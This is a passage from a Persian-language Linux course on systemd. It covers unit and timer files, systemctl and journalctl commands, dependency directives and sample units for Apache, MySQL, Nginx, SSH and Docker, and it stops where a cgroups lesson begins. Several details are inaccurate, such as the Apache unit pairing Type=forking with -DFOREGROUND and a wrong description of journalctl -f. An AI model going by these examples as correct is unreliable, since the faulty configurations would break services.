یک فایل سرویس Unit معمولاً شامل چندین بخش اصلی است: Unit، Service و Install. هر بخش برای تنظیمات خاصی استفاده می‌شود.

مثال فایل واحد سرویس:

مسیر فایل: /etc/systemd/system/myscript.service

[Unit]
Description=My Custom Script Service
After=network.target

[Service]
ExecStart=/path/to/your/script.sh
Restart=on-failure
User=root

[Install]
WantedBy=multi-user.target

توضیحات:

  • [Unit]:
    • Description: توضیح کوتاهی در مورد سرویس.
    • After: سرویس‌هایی که باید قبل از این سرویس راه‌اندازی شوند. در اینجا، سرویس باید بعد از راه‌اندازی شبکه (network.target) شروع شود.
  • [Service]:
    • ExecStart: مسیر به اسکریپت یا برنامه‌ای که باید اجرا شود.
    • Restart: اگر سرویس به اشتباه متوقف شود، به‌طور خودکار دوباره راه‌اندازی می‌شود. گزینه on-failure باعث می‌شود که سرویس فقط در صورت بروز خطا دوباره راه‌اندازی شود.
    • User: کاربری که سرویس تحت آن اجرا می‌شود.
  • [Install]:
    • WantedBy: مشخص می‌کند که سرویس در کدام مرحله از بوت باید فعال شود. multi-user.target به این معناست که سرویس باید پس از تمام سرویس‌های اساسی سیستم اجرا شود.

۳. بارگذاری و فعال‌سازی واحدهای Systemd

پس از ساخت فایل واحد سرویس، باید سیستم را به‌روزرسانی کرده و سرویس جدید را فعال کنید.

بارگذاری مجدد پیکربندی‌ها:

sudo systemctl daemon-reload

این دستور باعث می‌شود که Systemd فایل‌های جدید را شناسایی کرده و آن‌ها را برای استفاده بارگذاری کند.

فعال‌سازی سرویس در بوت سیستم:

sudo systemctl enable myscript.service

این دستور سرویس را برای شروع به‌طور خودکار در هر بار راه‌اندازی سیستم فعال می‌کند.

راه‌اندازی سرویس:

sudo systemctl start myscript.service

این دستور سرویس را در همان لحظه راه‌اندازی می‌کند.


۴. مشاهده وضعیت سرویس‌ها و لاگ‌ها

بررسی وضعیت سرویس:

sudo systemctl status myscript.service

این دستور وضعیت فعلی سرویس را نشان می‌دهد و اطلاعاتی از قبیل اجرای موفق یا خطای سرویس را نمایش می‌دهد.

مشاهده لاگ‌های سرویس با journalctl:

sudo journalctl -u myscript.service

این دستور به شما اجازه می‌دهد که لاگ‌های مربوط به سرویس خاص را مشاهده کنید. این ابزار برای دیباگ و بررسی مشکلات سرویس‌ها مفید است.


۵. توقف و غیرفعال‌سازی سرویس‌ها

توقف سرویس:

sudo systemctl stop myscript.service

این دستور سرویس را متوقف می‌کند.

غیرفعال‌سازی سرویس در بوت سیستم:

sudo systemctl disable myscript.service

این دستور سرویس را از شروع خودکار در هنگام بوت سیستم غیرفعال می‌کند.


۶. سایر دستورات مفید برای مدیریت Systemd

لیست تمام سرویس‌های فعال:

sudo systemctl list-units --type=service

این دستور تمام سرویس‌های فعال را نمایش می‌دهد.

بررسی وضعیت سیستم:

sudo systemctl is-system-running

این دستور وضعیت کلی سیستم را گزارش می‌دهد.

ریستارت کردن سرویس:

sudo systemctl restart myscript.service

این دستور سرویس را دوباره راه‌اندازی می‌کند.


۷. مدیریت پیکربندی‌های متعدد با Systemd

برای کار با پیکربندی‌های پیچیده‌تر و چندگانه، می‌توان از ویژگی‌های پیشرفته‌تری مانند socket units و timer units استفاده کرد. این ویژگی‌ها به شما این امکان را می‌دهند که سرویس‌ها را براساس اتفاقات خاص یا زمان‌های مشخصی اجرا کنید.

مثال برای استفاده از timer unit:

در این مثال، سرویس شما به‌طور خودکار در یک زمان مشخص اجرا می‌شود.

مسیر فایل: /etc/systemd/system/myscript.timer

[Unit]
Description=Run my script every day at midnight

[Timer]
OnCalendar=daily
Unit=myscript.service

[Install]
WantedBy=timers.target

این فایل سرویس شما را به‌طور خودکار هر روز در نیمه‌شب اجرا می‌کند. برای فعال‌سازی این تایمر، از دستورات زیر استفاده می‌شود:

sudo systemctl daemon-reload
sudo systemctl enable myscript.timer
sudo systemctl start myscript.timer

جمع‌بندی

Systemd یک ابزار قدرتمند برای مدیریت سرویس‌ها و فرآیندها در لینوکس است. پیکربندی واحدهای Systemd به شما این امکان را می‌دهد که سرویس‌ها را به‌طور دقیق و انعطاف‌پذیر مدیریت کنید. از ویژگی‌های مهم این سیستم می‌توان به بارگذاری همزمان سرویس‌ها، امکان نظارت دقیق بر سرویس‌ها، و قابلیت تعریف واحدهای مختلف مانند service، socket و timer اشاره کرد. با استفاده از دستورات systemctl و journalctl می‌توانید سرویس‌ها را راه‌اندازی، متوقف کرده، وضعیت آن‌ها را بررسی کرده و گزارش‌های دقیق از لاگ‌ها دریافت کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”بررسی و مدیریت Systemd Units و Timers” subtitle=”توضیحات کامل”]در لینوکس، Systemd به‌عنوان سیستم مدیریت سرویس‌ها و فرآیندها در توزیع‌های مدرن استفاده می‌شود. یکی از اجزای مهم آن Units است که برای مدیریت سرویس‌ها، سوکت‌ها، تایمرها و سایر منابع سیستمی به کار می‌رود. این بخش به بررسی و مدیریت انواع مختلف Systemd Units و Timers خواهد پرداخت، و نحوه استفاده از آن‌ها برای انجام وظایف مختلف سیستم را بررسی خواهیم کرد.


۱. Systemd Units

Unit در Systemd به هر نوع موجودیتی اطلاق می‌شود که تحت مدیریت Systemd قرار می‌گیرد. انواع مختلفی از واحدها (Units) وجود دارد که می‌توانند برای مدیریت فرآیندها، سرویس‌ها و سایر منابع سیستم به کار روند. در اینجا به انواع رایج Units اشاره می‌کنیم:

  1. Service Units (.service): برای مدیریت سرویس‌ها و برنامه‌ها استفاده می‌شود.
  2. Socket Units (.socket): برای مدیریت ارتباطات شبکه‌ای و سوکت‌ها.
  3. Mount Units (.mount): برای مدیریت فایل‌سیستم‌ها و نقاط اتصال.
  4. Timer Units (.timer): برای زمان‌بندی وظایف و اجرای خودکار سرویس‌ها در زمان‌های خاص.
  5. Target Units (.target): برای تنظیم اهداف سیستمی و گروه‌بندی سرویس‌ها و واحدها.

۲. بررسی وضعیت Units

برای بررسی وضعیت هر یک از Units، از دستور systemctl استفاده می‌شود. با استفاده از این دستور می‌توانید تمامی Units فعال، غیرفعال یا خطاهای مربوط به آن‌ها را مشاهده کنید.

بررسی وضعیت یک سرویس (Unit):

sudo systemctl status <unit-name>

برای مثال، برای بررسی وضعیت سرویس nginx، دستور زیر را وارد کنید:

sudo systemctl status nginx.service

این دستور اطلاعات دقیقی از وضعیت سرویس nginx از جمله وضعیت اجرایی، لاگ‌ها و سایر جزئیات مهم را نشان می‌دهد.

لیست کردن همه Units فعال:

sudo systemctl list-units

این دستور لیستی از تمام Units فعال را نمایش می‌دهد.


۳. مدیریت Units

برای مدیریت Units، می‌توانید از دستورات مختلف systemctl استفاده کنید. این دستورات به شما این امکان را می‌دهند که سرویس‌ها را شروع، توقف، فعال و غیرفعال کنید.

راه‌اندازی یک Unit:

sudo systemctl start <unit-name>

برای مثال، برای راه‌اندازی سرویس nginx دستور زیر را وارد کنید:

sudo systemctl start nginx.service

متوقف کردن یک Unit:

sudo systemctl stop <unit-name>

برای مثال، برای متوقف کردن سرویس nginx دستور زیر را وارد کنید:

sudo systemctl stop nginx.service

فعال‌سازی یک Unit برای اجرا در هنگام بوت سیستم:

sudo systemctl enable <unit-name>

این دستور Unit را طوری تنظیم می‌کند که در هر بار بوت سیستم به‌طور خودکار اجرا شود.

غیرفعال‌سازی یک Unit از اجرا در هنگام بوت:

sudo systemctl disable <unit-name>

۴. تایمرها (Timer Units)

Timer Units در Systemd برای زمان‌بندی و اجرای خودکار سرویس‌ها در زمان‌های خاص استفاده می‌شوند. این ویژگی برای انجام وظایف زمان‌بندی‌شده مانند پشتیبان‌گیری، بروزرسانی‌ها، و انجام وظایف دوره‌ای مفید است.

یک Timer Unit معمولاً به یک Service Unit مرتبط می‌شود، به این معنی که شما یک تایمر برای اجرای یک سرویس در زمان‌های خاص تنظیم می‌کنید.

ساخت و پیکربندی Timer Unit

یک فایل تایمر معمولاً در دایرکتوری /etc/systemd/system/ قرار می‌گیرد و با پسوند .timer ذخیره می‌شود. در ادامه، یک مثال از یک فایل تایمر که یک سرویس را هر روز اجرا می‌کند آورده شده است:

مسیر فایل: /etc/systemd/system/mytimer.timer

[Unit]
Description=Run MyScript every day

[Timer]
OnCalendar=daily
Unit=myscript.service

[Install]
WantedBy=timers.target

توضیحات:

  • [Unit]: توضیحات مربوط به تایمر.
  • [Timer]:
    • OnCalendar: این بخش مشخص می‌کند که تایمر در چه زمانی باید فعال شود. گزینه daily به این معناست که سرویس هر روز اجرا می‌شود.
    • Unit: این بخش مشخص می‌کند که کدام سرویس باید در زمان مشخص شده اجرا شود. در اینجا، myscript.service هر روز اجرا خواهد شد.
  • [Install]: مشخص می‌کند که تایمر در کدام مرحله از بوت سیستم فعال شود. timers.target به‌طور پیش‌فرض تایمرها را اجرا می‌کند.

۵. فعال‌سازی و مدیریت Timer Units

برای فعال‌سازی تایمر و شروع به کار آن، از دستورات زیر استفاده می‌شود.

بارگذاری مجدد پیکربندی تایمرها:

sudo systemctl daemon-reload

این دستور باعث می‌شود که Systemd فایل‌های جدید تایمر را شناسایی کرده و آن‌ها را بارگذاری کند.

فعال‌سازی تایمر برای اجرا در هنگام بوت:

sudo systemctl enable mytimer.timer

این دستور تایمر را فعال کرده و آن را به‌طور خودکار در هنگام بوت اجرا می‌کند.

شروع تایمر:

sudo systemctl start mytimer.timer

این دستور تایمر را بلافاصله شروع کرده و سرویس مربوطه را در زمان مشخص شده اجرا می‌کند.

بررسی وضعیت تایمر:

sudo systemctl status mytimer.timer

این دستور اطلاعات دقیقی از وضعیت تایمر، زمان اجرا و دیگر جزئیات مهم نمایش می‌دهد.


۶. غیرفعال‌سازی و توقف Timer Units

غیرفعال‌سازی تایمر از اجرا در هنگام بوت:

sudo systemctl disable mytimer.timer

این دستور تایمر را از شروع خودکار در هنگام بوت سیستم غیرفعال می‌کند.

توقف تایمر:

sudo systemctl stop mytimer.timer

این دستور تایمر را متوقف می‌کند، ولی تایمر به‌طور خودکار از حالت غیرفعال خارج نمی‌شود.


جمع‌بندی

Systemd Units و Timer Units ابزارهای قدرتمند و انعطاف‌پذیری هستند که برای مدیریت سرویس‌ها، زمان‌بندی وظایف و نظارت بر فرآیندها استفاده می‌شوند. با استفاده از Units می‌توانید سرویس‌ها، سوکت‌ها، فایل‌سیستم‌ها و تایمرها را به‌طور کارآمد مدیریت کنید. تایمرها به شما این امکان را می‌دهند که سرویس‌ها را به‌طور خودکار در زمان‌های مشخص اجرا کنید، که این ویژگی برای بسیاری از وظایف دوره‌ای مفید است. دستورات systemctl برای مدیریت این واحدها بسیار حیاتی هستند و به شما امکان نظارت و مدیریت بر تمامی اجزای سیستم را می‌دهند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از Unit Files برای مدیریت سرویس‌ها” subtitle=”توضیحات کامل”]در سیستم‌های مبتنی بر Systemd، واحدهای سرویس یا Unit Files فایل‌هایی هستند که برای مدیریت سرویس‌ها و فرآیندها استفاده می‌شوند. این فایل‌ها به شما این امکان را می‌دهند که نحوه عملکرد سرویس‌ها، آغاز و خاتمه آن‌ها، وابستگی‌ها و تنظیمات مختلف دیگر را تعریف کنید. این بخش به شما می‌آموزد که چگونه از Unit Files برای مدیریت سرویس‌ها استفاده کنید و به صورت عملی این تنظیمات را پیاده‌سازی کنید.


۱. ساختار Unit File

یک Unit File از چندین بخش مختلف تشکیل می‌شود. رایج‌ترین بخش‌ها عبارتند از:

  1. [Unit]: توضیحات کلی در مورد سرویس و وابستگی‌ها.
  2. [Service]: تنظیمات خاص مربوط به اجرای سرویس.
  3. [Install]: تنظیمات مربوط به نصب و فعال‌سازی سرویس.

مثال از یک Unit File ساده برای یک سرویس:

مسیر فایل: /etc/systemd/system/myapp.service

[Unit]
Description=My Application Service
After=network.target

[Service]
ExecStart=/usr/bin/myapp
Restart=always
User=myuser
WorkingDirectory=/home/myuser/myapp
Environment=MYAPP_ENV=production

[Install]
WantedBy=multi-user.target

توضیحات:

  • [Unit]:
    • Description: توضیحی کوتاه در مورد سرویس.
    • After: مشخص می‌کند که سرویس باید پس از سرویس‌های خاصی (در اینجا network.target) شروع شود.
  • [Service]:
    • ExecStart: مسیری که سرویس باید از آن اجرا شود (در اینجا /usr/bin/myapp).
    • Restart: تنظیم می‌کند که در صورت متوقف شدن سرویس، سیستم باید آن را مجدداً راه‌اندازی کند (always به این معنی است که سرویس همیشه باید پس از متوقف شدن مجدداً راه‌اندازی شود).
    • User: کاربری که سرویس باید تحت آن اجرا شود (در اینجا myuser).
    • WorkingDirectory: دایرکتوری کاری برای سرویس.
    • Environment: متغیرهای محیطی که باید برای سرویس تنظیم شوند.
  • [Install]:
    • WantedBy: این بخش مشخص می‌کند که سرویس در کدام target باید فعال شود. در اینجا، سرویس تحت multi-user.target فعال می‌شود که به‌طور معمول در سیستم‌های مبتنی بر Systemd برای حالت چند کاربری استفاده می‌شود.

۲. راه‌اندازی و مدیریت Unit File

پس از ایجاد یا ویرایش یک Unit File، نیاز است تا تغییرات را بارگذاری کرده و سرویس را مدیریت کنیم.

بارگذاری مجدد پیکربندی‌ها و Units:

پس از ایجاد یا تغییر Unit File، باید از دستور systemctl daemon-reload برای بارگذاری مجدد تنظیمات استفاده کنید:

sudo systemctl daemon-reload

این دستور به Systemd اطلاع می‌دهد که فایل‌های جدید یا تغییرات در Unit File‌ها وجود دارند و باید دوباره بارگذاری شوند.


۳. فعال‌سازی Unit File

برای فعال‌سازی یک سرویس و تنظیم آن برای اجرا در هنگام بوت سیستم، از دستور systemctl enable استفاده می‌شود.

فعال‌سازی سرویس برای اجرا در هنگام بوت:

sudo systemctl enable myapp.service

این دستور سرویس myapp را به‌طور خودکار در هنگام بوت سیستم راه‌اندازی می‌کند.


۴. راه‌اندازی سرویس

برای شروع یک سرویس از دستور systemctl start استفاده می‌شود.

شروع سرویس:

sudo systemctl start myapp.service

این دستور سرویس myapp را بلافاصله شروع می‌کند.


۵. بررسی وضعیت سرویس

برای بررسی وضعیت یک سرویس، از دستور systemctl status استفاده می‌شود. این دستور اطلاعات دقیقی از وضعیت سرویس، خطاها، و جزئیات اجرای آن ارائه می‌دهد.

بررسی وضعیت سرویس:

sudo systemctl status myapp.service

این دستور وضعیت سرویس myapp را نمایش می‌دهد.


۶. توقف و غیرفعال‌سازی سرویس

برای متوقف کردن یک سرویس از دستور systemctl stop و برای غیرفعال کردن آن از دستور systemctl disable استفاده می‌شود.

متوقف کردن سرویس:

sudo systemctl stop myapp.service

این دستور سرویس myapp را متوقف می‌کند.

غیرفعال کردن سرویس از راه‌اندازی خودکار در هنگام بوت:

sudo systemctl disable myapp.service

این دستور سرویس را از راه‌اندازی خودکار در هنگام بوت سیستم غیرفعال می‌کند.


۷. مشاهده لاگ‌ها و بررسی خطاها

برای مشاهده لاگ‌ها و خطاهای مربوط به یک سرویس، از دستور journalctl استفاده می‌شود. این دستور به شما این امکان را می‌دهد که جزئیات خطاها و پیام‌های لاگ را بررسی کنید.

مشاهده لاگ‌ها برای یک سرویس خاص:

sudo journalctl -u myapp.service

این دستور تمامی لاگ‌های مرتبط با سرویس myapp را نشان می‌دهد. برای محدود کردن خروجی به آخرین پیام‌ها، می‌توانید از گزینه -f (فالو کردن لاگ‌ها) استفاده کنید.


جمع‌بندی

Unit Files ابزارهای قدرتمندی در Systemd هستند که به شما این امکان را می‌دهند تا نحوه عملکرد و مدیریت سرویس‌ها را به‌طور کامل پیکربندی کنید. با استفاده از Unit Files، شما می‌توانید سرویس‌ها را تحت شرایط مختلف اجرا کنید، وابستگی‌های آن‌ها را مدیریت کنید، و آن‌ها را به‌طور خودکار در هنگام بوت سیستم راه‌اندازی نمایید. دستورات systemctl برای مدیریت این سرویس‌ها و فایل‌های مربوطه بسیار حیاتی هستند و ابزارهای مفیدی برای نظارت و مدیریت سیستم فراهم می‌آورند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مدیریت Dependency‌ها در Systemd” subtitle=”توضیحات کامل”]در Systemd، مدیریت Dependency‌ها یا وابستگی‌ها بخشی از فرآیند پیکربندی سرویس‌ها است که به شما این امکان را می‌دهد که ترتیب راه‌اندازی و توقف سرویس‌ها را به طور دقیق تنظیم کنید. این ویژگی برای اطمینان از اینکه سرویس‌ها در زمان مناسب و در وابستگی با سرویس‌های دیگر اجرا شوند، ضروری است. در این بخش، به بررسی نحوه مدیریت وابستگی‌ها و استفاده از آن‌ها در Unit File‌ها پرداخته خواهد شد.


۱. انواع وابستگی‌ها در Systemd

در Systemd، انواع مختلفی از وابستگی‌ها برای سرویس‌ها وجود دارد که به شما این امکان را می‌دهند تا رفتار سرویس‌ها را تحت شرایط خاص کنترل کنید:

  1. After: این دستور تعیین می‌کند که سرویس باید پس از سرویس‌های خاصی راه‌اندازی شود.
  2. Before: این دستور تعیین می‌کند که سرویس باید قبل از سرویس‌های خاصی راه‌اندازی شود.
  3. Requires: این دستور نشان می‌دهد که سرویس وابسته به سرویس دیگری است و باید با آن سرویس اجرا شود.
  4. Wants: مشابه با Requires است، اما اگر سرویس وابسته به آن اجرا نشود، سرویس اصلی مشکلی ندارد.
  5. Conflicts: این دستور مشخص می‌کند که سرویس با سرویس دیگری در تضاد است و نباید همزمان با آن اجرا شود.
  6. BindsTo: مشابه با Requires است، اما اگر سرویس وابسته متوقف شود، سرویس اصلی نیز باید متوقف شود.
  7. PartOf: این دستور به سرویس‌ها این امکان را می‌دهد که بخشی از یک گروه خاص باشند، به این معنی که اگر یکی از آن‌ها متوقف شود، دیگر سرویس‌ها نیز باید متوقف شوند.

۲. استفاده از Dependency‌ها در Unit File‌ها

در ادامه نحوه استفاده از انواع مختلف وابستگی‌ها در Unit File‌ها را بررسی می‌کنیم.

مثال از یک Unit File که از وابستگی‌ها استفاده می‌کند:

مسیر فایل: /etc/systemd/system/myapp.service

[Unit]
Description=My Application Service
After=network.target
Requires=postgresql.service
Wants=nginx.service
Conflicts=apache2.service

[Service]
ExecStart=/usr/bin/myapp
Restart=always
User=myuser
WorkingDirectory=/home/myuser/myapp
Environment=MYAPP_ENV=production

[Install]
WantedBy=multi-user.target

توضیحات:

  • [Unit]:
    • After=network.target: سرویس myapp باید پس از سرویس network.target که به‌طور معمول برای راه‌اندازی شبکه استفاده می‌شود، شروع شود.
    • Requires=postgresql.service: سرویس myapp به سرویس postgresql وابسته است و باید با آن اجرا شود. اگر postgresql متوقف شود، سرویس myapp نیز متوقف می‌شود.
    • Wants=nginx.service: سرویس myapp می‌خواهد سرویس nginx هم اجرا شود، اما اگر nginx اجرا نشود، هیچ مشکلی برای اجرای myapp وجود ندارد.
    • Conflicts=apache2.service: سرویس myapp و apache2 نباید همزمان اجرا شوند. اگر یکی از آن‌ها در حال اجرا باشد، دیگری باید متوقف شود.

۳. بررسی وضعیت وابستگی‌ها

برای مشاهده وضعیت وابستگی‌های یک سرویس، می‌توانید از دستور systemctl show همراه با گزینه --property=UnitPath استفاده کنید.

مشاهده وابستگی‌های یک سرویس:

sudo systemctl show myapp.service --property=Requires

این دستور وابستگی‌های سرویس myapp را نمایش می‌دهد. برای مشاهده تمامی وابستگی‌ها و اطلاعات اضافی می‌توانید از دستور زیر استفاده کنید:

sudo systemctl show myapp.service

این دستور تمامی اطلاعات مربوط به سرویس myapp را به همراه وابستگی‌ها و وضعیت آن نمایش می‌دهد.


۴. مدیریت وابستگی‌های سرویس‌ها

برای تغییر وابستگی‌ها یا اضافه کردن وابستگی‌های جدید به یک سرویس، شما باید Unit File مربوطه را ویرایش کرده و سپس تغییرات را اعمال کنید.

ویرایش Unit File سرویس:

sudo nano /etc/systemd/system/myapp.service

پس از اعمال تغییرات، حتماً باید Daemon را بارگذاری کنید تا تغییرات اعمال شوند.

بارگذاری مجدد Unit File‌ها:

sudo systemctl daemon-reload

سپس می‌توانید سرویس را مجدداً راه‌اندازی کنید تا وابستگی‌های جدید اعمال شوند:

sudo systemctl restart myapp.service

۵. نحوه استفاده از وابستگی‌ها برای اجرای سرویس‌ها در حالت‌های مختلف

گاهی اوقات نیاز دارید که سرویس‌ها فقط در شرایط خاصی راه‌اندازی شوند. به عنوان مثال، می‌خواهید که یک سرویس تنها پس از فعال شدن سیستم‌عامل در حالت خاصی (مثل حالت multi-user.target) راه‌اندازی شود.

مثال از استفاده از وابستگی‌ها برای مدیریت شرایط خاص راه‌اندازی سرویس:

[Unit]
Description=My Application Service
After=network.target
Requires=postgresql.service
Wants=nginx.service
Conflicts=apache2.service

[Service]
ExecStart=/usr/bin/myapp
Restart=always
User=myuser
WorkingDirectory=/home/myuser/myapp
Environment=MYAPP_ENV=production

[Install]
WantedBy=multi-user.target

در این مثال، سرویس myapp فقط زمانی اجرا می‌شود که سرویس‌های network.target و postgresql.service آماده باشند. همچنین، این سرویس به سرویس nginx وابسته است، اما تنها در صورت وجود آن اجرا می‌شود و با سرویس apache2 در تضاد است.


جمع‌بندی

مدیریت وابستگی‌ها در Systemd به شما این امکان را می‌دهد که ترتیب و روابط بین سرویس‌ها را به‌طور دقیق تنظیم کنید. این امر برای اطمینان از راه‌اندازی صحیح سرویس‌ها در زمان مناسب و با در نظر گرفتن وابستگی‌ها ضروری است. با استفاده از دستورات After, Before, Requires, Wants, Conflicts و سایر وابستگی‌ها، می‌توانید کنترل دقیقی روی نحوه اجرای سرویس‌ها و وابستگی‌های آن‌ها در Systemd داشته باشید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مثال‌هایی از فایل‌های Unit برای سرویس‌های مختلف” subtitle=”توضیحات کامل”]در این بخش، به بررسی نمونه‌هایی از فایل‌های Unit در Systemd برای سرویس‌های مختلف خواهیم پرداخت. این فایل‌ها به شما کمک می‌کنند تا سرویس‌های مختلف را به‌طور مؤثر و کارآمد مدیریت کنید. هر فایل Unit دارای بخش‌های مختلفی است که به شما این امکان را می‌دهد تا تنظیمات و وابستگی‌های مربوط به سرویس‌ها را به‌طور دقیق پیکربندی کنید.


۱. Unit File برای سرویس Apache

مسیر فایل: /etc/systemd/system/apache2.service

[Unit]
Description=Apache Web Server
After=network.target

[Service]
ExecStart=/usr/sbin/apache2 -DFOREGROUND
ExecReload=/bin/kill -HUP $MAINPID
ExecStop=/bin/kill -QUIT $MAINPID
Type=forking
PIDFile=/var/run/apache2/apache2.pid
User=www-data
Group=www-data
Environment=APACHE_LOG_DIR=/var/log/apache2

[Install]
WantedBy=multi-user.target

توضیحات:

  • در بخش [Unit]، After=network.target نشان می‌دهد که سرویس Apache باید پس از راه‌اندازی شبکه (network.target) اجرا شود.
  • در بخش [Service]، ExecStart مسیر و پارامترهای اجرای سرویس Apache را تعریف می‌کند.
  • ExecReload و ExecStop به ترتیب دستورات برای بارگذاری مجدد و توقف سرویس را تعیین می‌کنند.
  • در بخش [Install]، WantedBy=multi-user.target نشان می‌دهد که سرویس Apache باید هنگام شروع سیستم در حالت چندکاربره (multi-user.target) اجرا شود.

۲. Unit File برای سرویس MySQL

مسیر فایل: /etc/systemd/system/mysql.service

[Unit]
Description=MySQL Database Server
After=network.target

[Service]
ExecStart=/usr/sbin/mysqld
ExecStop=/usr/bin/mysqladmin shutdown
User=mysql
Group=mysql
LimitNOFILE=8192
Restart=always
EnvironmentFile=/etc/mysql/mysql.conf.d/mysqld.cnf

[Install]
WantedBy=multi-user.target

توضیحات:

  • در بخش [Unit]، After=network.target بیان می‌کند که MySQL پس از راه‌اندازی شبکه باید اجرا شود.
  • ExecStart مسیر اجرای سرویس MySQL را تعیین می‌کند.
  • در بخش [Service]، ExecStop مسیر دستوری برای متوقف کردن سرویس را مشخص می‌کند.
  • Restart=always به این معنی است که اگر سرویس متوقف شود، بلافاصله دوباره شروع به کار می‌کند.
  • EnvironmentFile به مسیر فایل تنظیمات MySQL اشاره دارد که می‌تواند پیکربندی‌های خاص را بارگذاری کند.

۳. Unit File برای سرویس Nginx

مسیر فایل: /etc/systemd/system/nginx.service

[Unit]
Description=NGINX Web Server
After=network.target

[Service]
ExecStartPre=/usr/sbin/nginx -t
ExecStart=/usr/sbin/nginx
ExecReload=/bin/kill -HUP $MAINPID
ExecStop=/bin/kill -QUIT $MAINPID
PIDFile=/var/run/nginx.pid
User=www-data
Group=www-data
Environment=NGINX_CONF_DIR=/etc/nginx

[Install]
WantedBy=multi-user.target

توضیحات:

  • در بخش [Unit]، After=network.target بیان می‌کند که سرویس Nginx باید پس از سرویس شبکه (network.target) راه‌اندازی شود.
  • ExecStartPre=/usr/sbin/nginx -t برای بررسی صحت پیکربندی Nginx قبل از شروع سرویس استفاده می‌شود.
  • ExecStart مسیر اجرای Nginx را تعیین می‌کند.
  • در بخش [Service]، ExecReload و ExecStop دستورات مربوط به بارگذاری مجدد و توقف سرویس را تنظیم می‌کنند.
  • Environment=NGINX_CONF_DIR=/etc/nginx به مسیر تنظیمات Nginx اشاره دارد.

۴. Unit File برای سرویس SSH

مسیر فایل: /etc/systemd/system/sshd.service

[Unit]
Description=OpenSSH Daemon
After=network.target

[Service]
ExecStart=/usr/sbin/sshd -D
ExecReload=/bin/kill -HUP $MAINPID
ExecStop=/bin/kill -QUIT $MAINPID
Type=simple
PIDFile=/run/sshd.pid
User=root
Group=root

[Install]
WantedBy=multi-user.target

توضیحات:

  • در بخش [Unit]، After=network.target نشان می‌دهد که سرویس SSH باید پس از سرویس شبکه (network.target) راه‌اندازی شود.
  • ExecStart مسیر اجرای SSH Daemon را مشخص می‌کند.
  • در بخش [Service]، ExecReload و ExecStop دستورات مربوط به بارگذاری مجدد و توقف سرویس را تعیین می‌کنند.
  • Type=simple نشان می‌دهد که سرویس به‌طور مستقیم اجرا می‌شود و نیازی به فرآیند پس‌زمینه ندارد.
  • در بخش [Install]، WantedBy=multi-user.target مشخص می‌کند که این سرویس باید در حالت چندکاربره شروع به کار کند.

۵. Unit File برای سرویس Docker

مسیر فایل: /etc/systemd/system/docker.service

[Unit]
Description=Docker Application Container Engine
After=network.target

[Service]
ExecStart=/usr/bin/dockerd
ExecStop=/bin/kill -TERM $MAINPID
LimitNOFILE=1048576
Restart=always
EnvironmentFile=-/etc/sysconfig/docker

[Install]
WantedBy=multi-user.target

توضیحات:

  • در بخش [Unit]، After=network.target بیان می‌کند که سرویس Docker باید پس از سرویس شبکه راه‌اندازی شود.
  • ExecStart مسیر اجرای Docker Daemon را تعیین می‌کند.
  • ExecStop دستور متوقف کردن سرویس را مشخص می‌کند.
  • LimitNOFILE=1048576 تعداد فایل‌های باز را محدود می‌کند.
  • Restart=always باعث می‌شود که سرویس Docker در صورت متوقف شدن مجدداً راه‌اندازی شود.
  • EnvironmentFile=-/etc/sysconfig/docker به فایل تنظیمات Docker اشاره دارد که می‌تواند پیکربندی‌های مختلف را بارگذاری کند.

جمع‌بندی

فایل‌های Unit در Systemd ابزارهای مهمی برای مدیریت سرویس‌ها و فرآیندهای مختلف در سیستم‌های لینوکسی هستند. هر یک از این فایل‌ها قابلیت پیکربندی دقیق سرویس‌ها را به شما می‌دهند و به شما این امکان را می‌دهند که ترتیبی مناسب برای راه‌اندازی، متوقف کردن و مدیریت سرویس‌ها در سیستم خود تعیین کنید. با استفاده از انواع دستورات موجود در فایل‌های Unit، می‌توانید وابستگی‌ها، محیط‌ متغیرها و بسیاری از گزینه‌های دیگر را تنظیم کرده و سرویس‌ها را به‌طور مؤثر مدیریت کنید.[/cdb_course_lesson][cdb_course_lesson title=”فصل 2. مدیریت cgroups و Resource Limitation”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تعریف cgroups و اهمیت آن در مدیریت منابع” subtitle=”توضیحات کامل”]cgroups (که مخفف “control groups” است) یکی از ویژگی‌های حیاتی در هسته لینوکس است که برای مدیریت و محدود کردن منابع سیستمی (مثل CPU، حافظه، ورودی/خروجی دیسک و شبکه) در فرآیندها و گروه‌های فرآیندها استفاده می‌شود. این قابلیت به سیستم‌عامل لینوکس این امکان را می‌دهد که مصرف منابع یک یا چند فرآیند را به‌طور دقیق کنترل کرده و برای جلوگیری از مصرف بی‌رویه منابع توسط یک یا چند فرآیند، محدودیت‌های مختلفی را اعمال کند.

cgroups ابزار قدرتمندی است که به مدیران سیستم این امکان را می‌دهد تا:

  • مدیریت منابع: محدود کردن استفاده از منابعی مانند CPU، حافظه، ورودی/خروجی دیسک و شبکه برای فرآیندهای خاص.
  • جداسازی: فراهم کردن محیط‌های مجزا و ایزوله‌شده برای فرآیندها تا از تاثیرات منفی فرآیندهای دیگر جلوگیری شود.
  • اولویت‌بندی: تخصیص اولویت‌های متفاوت به فرآیندهای مختلف بسته به نیازهای سیستم.
  • مراقبت و نظارت: نظارت بر مصرف منابع در فرآیندهای مختلف و ارزیابی عملکرد سیستم.

اجزای cgroups

cgroups از مجموعه‌ای از کنترل‌کننده‌ها (controllers) تشکیل شده است که به هر یک از منابع مختلف سیستم اختصاص داده می‌شود. این کنترل‌کننده‌ها به مدیر سیستم این امکان را می‌دهند که مصرف منابع خاصی را تنظیم و محدود کند. برخی از کنترل‌کننده‌های متداول در cgroups عبارتند از:

  • cpu: برای محدود کردن استفاده از پردازنده (CPU).
  • memory: برای محدود کردن استفاده از حافظه.
  • blkio: برای محدود کردن ورودی/خروجی دیسک.
  • net_cls: برای محدود کردن مصرف پهنای باند شبکه.
  • cpuacct: برای حسابداری مصرف CPU.
  • devices: برای مدیریت دسترسی به دستگاه‌های خاص.

نحوه پیکربندی cgroups

